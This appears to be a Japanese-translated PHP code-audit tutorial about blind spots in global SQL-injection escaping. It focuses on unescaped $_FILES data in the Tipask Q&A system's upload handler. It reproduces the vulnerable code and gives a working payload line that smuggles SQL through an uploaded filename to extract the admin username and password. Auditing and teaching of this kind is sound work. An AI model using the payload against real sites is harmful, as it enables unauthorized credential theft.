ホームページ > バックエンド開発 > PHPチュートリアル > [PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 7. グローバルな保護の盲点の概要、パート 2

[PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 7. グローバルな保護の盲点の概要、パート 2

WBOY
リリース: 2016-06-23 13:05:11
オリジナル
819 人が閲覧しました

0x01 背景

SQL インジェクションに対する今日の WEB アプリケーション保護は、基本的に GPC がオンになっているかどうかを決定し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。前の記事 http://www.cnbraid.com/2016/04/29/sql5/ に続いて、他の 2 つの状況を紹介します。

盲点は次のとおりです:

①FILESインジェクション、GET、POSTなどで渡されるパラメータのみがグローバルにエスケープされ、FILESは省略されます。

②変数カバレッジ、危険な関数:extract()、parse_str()、$。 $。

0x02 脆弱性分析

FILES インジェクション

FILES インジェクションは、通常、アップロード時にアップロードされた名前をデータベースに取り込むことによって引き起こされます。 ここでは、tipask の質問と回答システムを見てみましょう

まず、その方法を見てみましょう。そのグローバル保護は次のように処理されます:

index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ...        $this->get = taddslashes($this->get, 1);        $this->post = taddslashes(array_merge($_GET, $_POST));        checkattack($this->post, 'post');        checkattack($this->get, 'get');        unset($_POST);    }
ログイン後にコピー

get と post からのデータが addslashes によって特別にエスケープされており、$_FILES に対する処理操作がないことがわかります。$_FILES をグローバルに検索し、/control/attach.php を見つけます。アップロード処理があります。フォローアップします:

<?phpfunction onupload() {	//上传配置	$config = array(		"uploadPath" => "data/attach/", //保存路径		"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式		"fileSize" => 10 //文件大小限制,单位MB	);	//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜	$state = "SUCCESS";	$clientFile = $_FILES["upfile"];	if (!isset($clientFile)) {		echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size		exit;	}	//格式验证	$current_type = strtolower(strrchr($clientFile["name"], '.'));	if (!in_array($current_type, $config['fileType'])) {		$state = "不支持的文件类型!";	}	//大小验证	$file_size = 1024 * 1024 * $config['fileSize'];	if ($clientFile["size"] > $file_size) {		$state = "文件大小超出限制!";	}	//保存文件	if ($state == "SUCCESS") {		$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');		$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);		if (!$result) {			$state = "文件保存失败!";		} else {			//这里将上传的文件名带入数据库查询			$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);		}	}    //向浏览器返回数据json数据	echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
ログイン後にコピー

$_ENV['attach']->add($clientFile["name"]...), put $clientFile[name] = $_FILES[ "upfile"][name] 次の追加操作がデータベースに取り込まれ、インジェクションが発生します。

<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) {	$uid=$this->base->user['uid'];	$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");	return $this->db->insert_id();}
ログイン後にコピー

ファイルをアップロードし、ファイル名を次のコードに変更して管理者アカウントのパスワードを取得します:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"
ログイン後にコピー

管理者アカウントのパスワードがデータベースの接続テーブルに正常に挿入されました:

元のアドレス: http ://www.cnbraid.com/2016/05/10/sql6/

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート